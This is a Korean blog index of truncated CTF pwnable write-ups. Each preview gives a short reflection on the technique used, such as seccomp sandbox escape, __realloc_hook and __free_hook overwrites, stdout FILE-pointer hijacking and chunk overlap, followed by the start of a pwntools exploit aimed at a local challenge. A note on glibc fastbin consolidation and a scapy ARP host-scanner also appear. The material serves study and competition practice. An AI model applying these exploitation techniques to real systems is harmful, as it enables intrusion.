목록Lab (221)
cdor1's lab
후기: 두번째 일기장 문제다. 첫번째 일기장보단 바이너리가 작고 가벼웠지만 난이도는 훨씬 어려웠던것 같다.... seccomp 샌드박스 우회라니.. 32비트 syscall을 필터링 하지 않아서 ./bash를 실행하는 쉘코드를 pwntools로 만들어 사용했다. from pwn import * s = remote('localhost', 4000) def register(date, size, content): print s.recvuntil('>> ') s.sendline('1') print s.recvuntil('... ') s.sendline(date) print s.recvuntil('... ') s.sendline(str(size)) print s.recvuntil('>> ') s.sendline(c..
후기 : 바이너리가 너무 큰 diary... 익스 성공했다. 인티져 오버플로우와 누가봐도 의심스러운 미니게임후 코멘트의 환상조화 from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/diary') def start(): print s.recvuntil(':') s.sendline('cdor1') print s.recvuntil(':') s.sendline('18') print s.recvuntil('>>>') s.sendline('3') print s.recvuntil(':') s.sendline('A'*10) def minigame(): print s.recvuntil('>>> ') s.sendline('3') pr..
후기: 비오비가 아닌 컴돌이의 비오비ctf 문제풀기.. 처음 도전해보는 sandbox escape문제였다. 함수인 fn이 mmap으로 할당해준 공간에 들어가게 되어 비닐포장하듯이 안에 들어가게되는데 이렇게 제한된 공간에서 인가되지 않은 정보까지 건들수 있도록 익스플로잇 하는것이 샌드박스 이스케이프라고 한다. (이 문제에선 shell) realloc이 사용되는 프로그램에서 full relro가 걸려있으면 ralloc_hook을 free가 사용되는 프로그램에서 full relro가 걸려있으면 free_hook을 덮으면 익스에 성공할 수 있다는 것을 알았다. from pwn import * s = remote('localhost', 4000) def name(name): print s.recvuntil('....
후기 : full relro에 pie.. 초록초록한 보호기법이 보여서 어떻게 우회해야하지 고민하다가 대회 당시에는 풀지 못했당 후에 상위3팀의 공개된 write-up을 보고 다시 문제를 풀어보게 되었는데 stdout file pointer를 덮어 printf가 불릴 때 stdout의 function table을 참조하게 되는데 그 때 내가 써놓은 system이 실행되는 신박한 방법이였다. (상준이형 문제나 유심히 볼걸 괜히 못푸는 문제 삽질하다가 멘탈깨진 기분이였다.. 처음엔 unlink라닛! 하면서 신났었는데) from pwn import * s = remote('localhost',4000) elf = ELF('/home/cdor1/unlink2') #1210 print s.recvuntil('Now..
후기 : 오프셋때문에 진짜 더럽게고생했다... 문제는 참신하고 좋았지만 멍청한 컴돌이의 멘탈이 깨졌다 from pwn import * s = remote('localhost', 4000) elf = ELF('/home/parallels/pwnable/jmper') libc = ELF('/home/parallels/pwnable/cdor1_libc') exit_got = elf.got['exit'] def add(): s.recvuntil(':)') s.sendline('1') def name(id, name): s.recvuntil(':)') s.sendline('2') s.recvuntil('ID:') s.sendline(str(id)) s.recvuntil('Input name:') s.sendlin..
후기 : chunk overlap라는 기법을 알게 되었당 from pwn import * s = remote('localhost', 4000) def join(name): print s.recvuntil('menu > ') s.sendline('1') print s.recvuntil('name > ') s.sendline(name) def login(name): print s.recvuntil('menu > ') s.sendline('2') print s.recvuntil('name > ') s.sendline(name) def showtime(): print s.recvuntil('menu >> ') s.sendline('1') def showdm(): print s.recvuntil('menu >> ..
1. dfb 마스터, house of ~ 시리즈 이해하기2. 대회문제 힙으로 출제3. 버그헌팅 스타트
후기: 이번 문제도 oneshot 가젯을 좀더 위로 줘야 먹히는 문제였다. (두번은 안속징 ㅋ) 이전에 포스팅했던 fastbin consolidate를 활용해 free가 없는 문제에서 fastbin을 large bin 할당으로 인해 강제로 병합시킴으로써 unlink트리거가 가능해졌고 full relro가 설정되어있어 .got영역을 덮는 것이 불가했는데 __realloc_hook을 덮음으로써 realloc을 호출할 때에 내가 원하는 함수를 부를 수 있게되는 것을 배웠다. 여러모로 재미있고 참신한 문제였던것 같다. ㅎ from pwn import* s = remote('localhost', 4000) def show(): print s.recvuntil('6.exit') s.sendline('1') def ..
when the requested size in the largebin's range and the next chunk != topchunk(can't extend from topchunk),"fastbin consolidate" will be triggered. malloc의 처리중 하나인 fastbin consolidate에 대해 정리해보려고 한다.malloc은 largebin의 범위에 들어가는 크기의 요청이 한번 오게되면 일단 이 다음 청크가 topchunk인지 검사 한 후,만약 topchunk가 아니라면(다른 청크들이 있다면) fastbin들이 있는지 검사후 자신들이 쓸모없다고 판단해 smallbin으로 전부 통합해버린다. 이를 처리하는 malloc_consolidate() /* ---------..
동아리 발표 소스이다. 강력한 패킷관련 라이브러리인 scapy모듈을 사용했다. [*] up.py - arp패킷 활용, online인 호스트와 offline인 호스트 구분 #!/usr/bin/python from scapy.all import * import sys r = '\033[31m' #red b = '\033[34m' #blue g = '\033[32m' #green y = '\033[33m' #yellow m = '\033[34m' #magenta c = '\033[36m' #cyan w = '\033[0m' #white Timeout=1 macTable = [] conf.iface = "wlan0" conf.verb = 0 def get_mac(ip_address): responses,unan..